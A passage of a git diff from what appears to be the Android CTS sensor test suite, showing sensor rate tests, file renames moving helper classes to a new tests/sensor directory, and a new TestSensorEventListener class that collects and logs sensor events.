+    public void testRotationVector_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testRotationVector_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_200HZ);
+    }
+
+    public void testRotationVector_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_100HZ);
+    }
+
+    public void testRotationVector_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ);
+    }
+
+    public void testRotationVector_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_25HZ);
+    }
+
+    public void testRotationVector_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_15HZ);
+    }
+
+    public void testRotationVector_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_10HZ);
+    }
+
+    public void testRotationVector_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_5HZ);
+    }
+
+    public void testRotationVector_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_1HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testMagneticFieldUncalibrated_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_200HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_100HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_25HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_15HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_10HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_5HZ);
+    }
+
+    public void testMagneticFieldUncalibrated_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_1HZ);
+    }
+
+    public void testGameRotationVector_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testGameRotationVector_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_200HZ);
+    }
+
+    public void testGameRotationVector_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_100HZ);
+    }
+
+    public void testGameRotationVector_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ);
+    }
+
+    public void testGameRotationVector_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_25HZ);
+    }
+
+    public void testGameRotationVector_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_15HZ);
+    }
+
+    public void testGameRotationVector_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_10HZ);
+    }
+
+    public void testGameRotationVector_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_5HZ);
+    }
+
+    public void testGameRotationVector_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_1HZ);
+    }
+
+    public void testGyroscopeUncalibrated_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void testGyroscopeUncalibrated_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_200HZ);
+    }
+
+    public void testGyroscopeUncalibrated_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_100HZ);
+    }
+
+    public void testGyroscopeUncalibrated_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ);
+    }
+
+    public void testGyroscopeUncalibrated_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_25HZ);
+    }
+
+    public void testGyroscopeUncalibrated_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_15HZ);
+    }
+
+    public void testGyroscopeUncalibrated_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_10HZ);
+    }
+
+    public void testGyroscopeUncalibrated_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_5HZ);
+    }
+
+    public void testGyroscopeUncalibrated_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_1HZ);
+    }
+
+    public void  testGeomagneticRotationVector_fastest() throws Throwable {
+        runSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
+    }
+
+    public void  testLinearAcceleration_200hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_200HZ);
+    }
+
+    public void  testLinearAcceleration_100hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_100HZ);
+    }
+
+    public void testLinearAcceleration_50hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ);
+    }
+
+    public void testLinearAcceleration_25hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_25HZ);
+    }
+
+    public void testLinearAcceleration_15hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_15HZ);
+    }
+
+    public void testLinearAcceleration_10hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_10HZ);
+    }
+
+    public void testLinearAcceleration_5hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_5HZ);
+    }
+
+    public void testLinearAcceleration_1hz() throws Throwable {
+        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_1HZ);
+    }
+
+    private void runSensorTest(int sensorType, int rateUs) throws Throwable {
+        SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
+        TestSensorEnvironment environment = new TestSensorEnvironment(
+                getContext(),
+                sensorType,
+                shouldEmulateSensorUnderLoad(),
+                rateUs);
+        TestSensorOperation op =
+                TestSensorOperation.createOperation(environment, 5, TimeUnit.SECONDS);
+        op.addDefaultVerifications();
+
+        try {
+            op.execute(getCurrentTestNode());
+        } finally {
+            SensorStats stats = op.getStats();
+            stats.log(TAG);
+
+            String fileName = String.format(
+                    "single_%s_%s.txt",
+                    SensorStats.getSanitizedSensorName(environment.getSensor()),
+                    environment.getFrequencyString());
+            stats.logToFile(fileName);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/ActivityResultMultiplexedLatch.java b/tests/sensor/src/android/hardware/cts/helpers/ActivityResultMultiplexedLatch.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/ActivityResultMultiplexedLatch.java
rename to tests/sensor/src/android/hardware/cts/helpers/ActivityResultMultiplexedLatch.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/FrameworkUnitTests.java b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/FrameworkUnitTests.java
rename to tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/MovementDetectorHelper.java b/tests/sensor/src/android/hardware/cts/helpers/MovementDetectorHelper.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/MovementDetectorHelper.java
rename to tests/sensor/src/android/hardware/cts/helpers/MovementDetectorHelper.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorCalibratedUncalibratedVerifier.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCalibratedUncalibratedVerifier.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorCalibratedUncalibratedVerifier.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorCalibratedUncalibratedVerifier.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorCtsHelper.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorCtsHelperTest.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelperTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorCtsHelperTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelperTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorNotSupportedException.java b/tests/sensor/src/android/hardware/cts/helpers/SensorNotSupportedException.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorNotSupportedException.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorNotSupportedException.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorStats.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorStatsTest.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStatsTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorStatsTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorStatsTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorTestPlatformException.java b/tests/sensor/src/android/hardware/cts/helpers/SensorTestPlatformException.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorTestPlatformException.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorTestPlatformException.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SensorTestStateNotSupportedException.java b/tests/sensor/src/android/hardware/cts/helpers/SensorTestStateNotSupportedException.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SensorTestStateNotSupportedException.java
rename to tests/sensor/src/android/hardware/cts/helpers/SensorTestStateNotSupportedException.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/SuspendStateMonitor.java b/tests/sensor/src/android/hardware/cts/helpers/SuspendStateMonitor.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/SuspendStateMonitor.java
rename to tests/sensor/src/android/hardware/cts/helpers/SuspendStateMonitor.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEnvironment.java b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEnvironment.java
rename to tests/sensor/src/android/hardware/cts/helpers/TestSensorEnvironment.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEvent.java b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEvent.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEvent.java
rename to tests/sensor/src/android/hardware/cts/helpers/TestSensorEvent.java
diff --git a/tests/sensor/src/android/hardware/cts/helpers/TestSensorEventListener.java b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEventListener.java
new file mode 100644
index 0000000..b096987
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/TestSensorEventListener.java
@@ -0,0 +1,373 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers;
+
+import junit.framework.Assert;
+
+import android.content.Context;
+import android.hardware.Sensor;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener2;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.util.Log;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * A {@link SensorEventListener2} which performs operations such as waiting for a specific number of
+ * events or for a specific time, or waiting for a flush to complete. This class performs
+ * verifications and will throw {@link AssertionError}s if there are any errors. It may also wrap
+ * another {@link SensorEventListener2}.
+ */
+public class TestSensorEventListener implements SensorEventListener2 {
+    public static final String LOG_TAG = "TestSensorEventListener";
+
+    private static final long EVENT_TIMEOUT_US = TimeUnit.SECONDS.toMicros(5);
+    private static final long FLUSH_TIMEOUT_US = TimeUnit.SECONDS.toMicros(10);
+
+    private final ArrayList<TestSensorEvent> mCollectedEvents = new ArrayList<>();
+    private final ArrayList<Long> mTimeStampFlushCompleteEvents = new ArrayList<>();
+    private final List<CountDownLatch> mEventLatches = new ArrayList<>();
+    private final List<CountDownLatch> mFlushLatches = new ArrayList<>();
+    private final AtomicInteger mEventsReceivedOutsideHandler = new AtomicInteger();
+
+    private final Handler mHandler;
+    private final TestSensorEnvironment mEnvironment;
+
+    // Wakelock for keeping the system running after terminate criterion is met.
+    // Useful for CtsVerifier test cases in which cpu can sleep if usb is not connected.
+    private final PowerManager.WakeLock mTestSensorEventListenerWakeLock;
+
+    /**
+     * @deprecated Use {@link TestSensorEventListener(TestSensorEnvironment)}.
+     */
+    @Deprecated
+    public TestSensorEventListener() {
+        this(null /* environment */);
+    }
+
+    /**
+     * Construct a {@link TestSensorEventListener}.
+     */
+    public TestSensorEventListener(TestSensorEnvironment environment) {
+        this(environment, null /* handler */);
+    }
+
+    /**
+     * Construct a {@link TestSensorEventListener}.
+     */
+    public TestSensorEventListener(TestSensorEnvironment environment, Handler handler) {
+        mEnvironment = environment;
+        mHandler = handler;
+        PowerManager pm = (PowerManager) environment.getContext().getSystemService(
+                Context.POWER_SERVICE);
+        mTestSensorEventListenerWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+                                                "TestSensorEventListenerWakeLock");
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void onSensorChanged(SensorEvent event) {
+        long timestampNs = SystemClock.elapsedRealtimeNanos();
+        checkHandler();
+        synchronized (mCollectedEvents) {
+            mCollectedEvents.add(new TestSensorEvent(event, timestampNs));
+        }
+        synchronized (mEventLatches) {
+            for (CountDownLatch latch : mEventLatches) {
+                latch.countDown();
+                if (latch.getCount() == 0 && !mTestSensorEventListenerWakeLock.isHeld()) {
+                    mTestSensorEventListenerWakeLock.acquire();
+                }
+            }
+        }
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void onAccuracyChanged(Sensor sensor, int accuracy) {
+        checkHandler();
+    }
+
+    /**
+     * @param eventCount
+     * @return A CountDownLatch initialzed with eventCount and decremented as sensor events arrive
+     * for this listerner.
+     */
+    public CountDownLatch getLatchForSensorEvents(int eventCount) {
+        CountDownLatch latch = new CountDownLatch(eventCount);
+        synchronized (mEventLatches) {
+            mEventLatches.add(latch);
+        }
+        return latch;
+    }
+
+    /**
+     * @return A CountDownLatch initialzed with 1 and decremented as a flush complete arrives
+     * for this listerner.
+     */
+    public CountDownLatch getLatchForFlushCompleteEvent() {
+        CountDownLatch latch = new CountDownLatch(1);
+        synchronized (mFlushLatches) {
+            mFlushLatches.add(latch);
+        }
+        return latch;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void onFlushCompleted(Sensor sensor) {
+        checkHandler();
+        long timestampNs = SystemClock.elapsedRealtimeNanos();
+        synchronized (mTimeStampFlushCompleteEvents) {
+           mTimeStampFlushCompleteEvents.add(timestampNs);
+        }
+        synchronized (mFlushLatches) {
+            for (CountDownLatch latch : mFlushLatches) {
+                latch.countDown();
+            }
+        }
+    }
+
+    /**
+     * @return The handler (if any) associated with the instance.
+     */
+    public Handler getHandler() {
+        return mHandler;
+    }
+
+    /**
+     * @return A list of {@link TestSensorEvent}s collected by the listener.
+     */
+    public List<TestSensorEvent> getCollectedEvents() {
+        synchronized (mCollectedEvents){
+            return Collections.unmodifiableList((List<TestSensorEvent>) mCollectedEvents.clone());
+        }
+    }
+
+    /**
+     * Clears the internal list of collected {@link TestSensorEvent}s.
+     */
+    public void clearEvents() {
+        synchronized (mCollectedEvents) {
+            mCollectedEvents.clear();
+        }
+    }
+
+
+    /**
+     * Utility method to log the collected events to a file.
+     * It will overwrite the file if it already exists, the file is created in a relative directory
+     * named 'events' under the sensor test directory (part of external storage).
+     */
+    public void logCollectedEventsToFile(String fileName, long deviceWakeUpTimeMs,
+            long testStartTimeMs, long testStopTimeMs)
+        throws IOException {
+        StringBuilder builder = new StringBuilder();
+        builder.append("Sensor='").append(mEnvironment.getSensor()).append("', ");
+        builder.append("SamplingRateOverloaded=")
+                .append(mEnvironment.isSensorSamplingRateOverloaded()).append(", ");
+        builder.append("RequestedSamplingPeriod=")
+                .append(mEnvironment.getRequestedSamplingPeriodUs()).append("us, ");
+        builder.append("MaxReportLatency=")
+                .append(mEnvironment.getMaxReportLatencyUs()).append("us, ");
+        builder.append("StartedTimestamp=")
+                .append(testStartTimeMs).append("ms, ");
+        builder.append("StoppedTimestamp=")
+                .append(testStopTimeMs).append("ms");
+        synchronized (mCollectedEvents) {
+            int i = 0, j = 0;
+            while (i < mCollectedEvents.size() && j < mTimeStampFlushCompleteEvents.size()) {
+                if (mCollectedEvents.get(i).receivedTimestamp <
+                        mTimeStampFlushCompleteEvents.get(j)) {
+                    TestSensorEvent event = mCollectedEvents.get(i);
+                    if (deviceWakeUpTimeMs != -1 && deviceWakeUpTimeMs <
+                            event.receivedTimestamp/1000000) {
+                        builder.append("\n");
+                        builder.append("AP wake-up time=").append(deviceWakeUpTimeMs).append("ms");
+                        deviceWakeUpTimeMs = -1;
+                    }
+                    builder.append("\n");
+                    builder.append("Timestamp=").append(event.timestamp/1000).append("us, ");
+                    builder.append("ReceivedTimestamp=").append(event.receivedTimestamp/1000).
+                        append("us, ");
+                    builder.append("Accuracy=").append(event.accuracy).append(", ");
+                    builder.append("Values=").append(Arrays.toString(event.values));
+                    ++i;
+                } else {
+                    builder.append("\n");
+                    builder.append("ReceivedTimestamp=")
+                    .append(mTimeStampFlushCompleteEvents.get(j)/1000)
+                    .append("us Flush complete Event");
+                    ++j;
+                }
+            }
+            for (;i < mCollectedEvents.size(); ++i) {
+                TestSensorEvent event = mCollectedEvents.get(i);
+                if (deviceWakeUpTimeMs != -1 && deviceWakeUpTimeMs <
+                        event.receivedTimestamp/1000000) {
+                    builder.append("\n");
+                    builder.append("AP wake-up time=").append(deviceWakeUpTimeMs).append("ms");
+                    deviceWakeUpTimeMs = -1;
+                }
+                builder.append("\n");
+                builder.append("Timestamp=").append(event.timestamp/1000).append("us, ");
+                builder.append("ReceivedTimestamp=").append(event.receivedTimestamp/1000).
+                    append("us, ");
+                builder.append("Accuracy=").append(event.accuracy).append(", ");
+                builder.append("Values=").append(Arrays.toString(event.values));
+            }
+            for (;j < mTimeStampFlushCompleteEvents.size(); ++j) {
+                builder.append("\n");
+                builder.append("ReceivedTimestamp=")
+                    .append(mTimeStampFlushCompleteEvents.get(j)/1000)
+                    .append("us Flush complete Event");
+            }
+        }
+
+        File eventsDirectory = SensorCtsHelper.getSensorTestDataDirectory("events/");
+        File logFile = new File(eventsDirectory, fileName);
+        FileWriter fileWriter = new FileWriter(logFile, false /* append */);
+        try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
+            writer.write(builder.toString());
+        }
+    }
+
+    /**
+     * Wait for {@link #onFlushCompleted(Sensor)} to be called.
+     *
+     * A wake lock may be acquired at the return if operation is successful. Do
+     * {@link releaseWakeLock()} if the wakelock is not necessary.
+     *
+     * @throws AssertionError if there was a timeout after {@link #FLUSH_TIMEOUT_US} &micro;s
+     */
+    public void waitForFlushComplete(CountDownLatch latch,
+                                      boolean clearCollectedEvents) throws InterruptedException {
+        if (clearCollectedEvents) {
+            clearEvents();
+        }
+        try {
+            String message = SensorCtsHelper.formatAssertionMessage(
+                    "WaitForFlush",
+                    mEnvironment,
+                    "timeout=%dus",
+                    FLUSH_TIMEOUT_US);
+            Assert.assertTrue(message, latch.await(FLUSH_TIMEOUT_US, TimeUnit.MICROSECONDS));
+        } finally {
+            synchronized (mFlushLatches) {
+                mFlushLatches.remove(latch);
+            }
+        }
+    }
+
+    /**
+     * Collect a specific number of {@link TestSensorEvent}s.
+     *
+     * A wake lock may be acquired at the return if operation is successful. Do
+     * {@link releaseWakeLock()} if the wakelock is not necessary.
+     *
+     * @throws AssertionError if there was a timeout after {@link #FLUSH_TIMEOUT_US} &micro;s
+     */
+    public void waitForEvents(CountDownLatch latch, int eventCount,
+                               boolean clearCollectedEvents) throws InterruptedException {
+        if (clearCollectedEvents) {
+            clearEvents();
+        }
+        try {
+            long samplingPeriodUs = mEnvironment.getMaximumExpectedSamplingPeriodUs();
+            // timeout is 2 * event count * expected period + batch timeout + default wait
+            // we multiply by two as not to raise an error in this function even if the events are
+            // streaming at a lower rate than expected, as long as it's not streaming twice as slow
+            // as expected
+            long timeoutUs = (2 * eventCount * samplingPeriodUs)
+                    + mEnvironment.getMaxReportLatencyUs()
+                    + EVENT_TIMEOUT_US;
+            boolean success = latch.await(timeoutUs, TimeUnit.MICROSECONDS);
+            if (!success) {
+                String message = SensorCtsHelper.formatAssertionMessage(
+                        "WaitForEvents",
+                        mEnvironment,
+                        "requested=%d, received=%d, timeout=%dus",
+                        eventCount,
+                        eventCount - latch.getCount(),
+                        timeoutUs);
+                Assert.fail(message);
+            }
+        } finally {
+            synchronized (mEventLatches) {
+                mEventLatches.remove(latch);
+            }
+        }
+    }
+
+    /**
+     * Collect {@link TestSensorEvent} for a specific duration.
+     */
+    public void waitForEvents(long duration, TimeUnit timeUnit) throws InterruptedException {
+        SensorCtsHelper.sleep(duration, timeUnit);
+    }
+
+    /**
+     * Asserts that sensor events arrived in the proper thread if a {@link Handler} was associated
+     * with the current instance.
+     *
+     * If no events were received this assertion will be evaluated to {@code true}.
+     */
+    public void assertEventsReceivedInHandler() {
+        int eventsOutsideHandler = mEventsReceivedOutsideHandler.get();
+        String message = String.format(
+                "Events arrived outside the associated Looper. Expected=0, Found=%d",
+                eventsOutsideHandler);
+        Assert.assertEquals(message, 0 /* expected */, eventsOutsideHandler);
+    }
+
+    public void releaseWakeLock() {
+        if (mTestSensorEventListenerWakeLock.isHeld()) {
+            mTestSensorEventListenerWakeLock.release();
+        }
+    }
+
+    /**
+     * Keeps track of the number of events that arrived in a different {@link Looper} than the one
+     * associated with the {@link TestSensorEventListener}.
+     */
+    private void checkHandler() {
+        if (mHandler != null && mHandler.getLooper() != Looper.myLooper()) {
+            mEventsReceivedOutsideHandler.incrementAndGet();
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorManager.java b/tests/sensor/src/android/hardware/cts/helpers/TestSensorManager.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorManager.java
rename to tests/sensor/src/android/hardware/cts/helpers/TestSensorManager.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/reporting/ISensorTestNode.java b/tests/sensor/src/android/hardware/cts/helpers/reporting/ISensorTestNode.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/reporting/ISensorTestNode.java
rename to tests/sensor/src/android/hardware/cts/helpers/reporting/ISensorTestNode.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/AlarmOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/DelaySensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/DelaySensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/DelaySensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/DelaySensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/FakeSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/FakeSensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/FakeSensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/FakeSensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/ParallelSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/ParallelSensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/ParallelSensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/ParallelSensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/RepeatingSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/RepeatingSensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/RepeatingSensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/RepeatingSensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/SensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/SensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/SequentialSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SequentialSensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/SequentialSensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SequentialSensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/WakeLockOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/WakeLockOperation.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensoroperations/WakeLockOperation.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensoroperations/WakeLockOperation.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/AbstractMeanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/AbstractMeanVerification.java
similarity index 100%
rename from tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/AbstractMeanVerification.java
rename to tests/sensor/src/android/hardware/cts/helpers/sensorverification/AbstractMeanVerification.java
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/AbstractSensorVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/AbstractSensorVerification.java
similarity index 100%
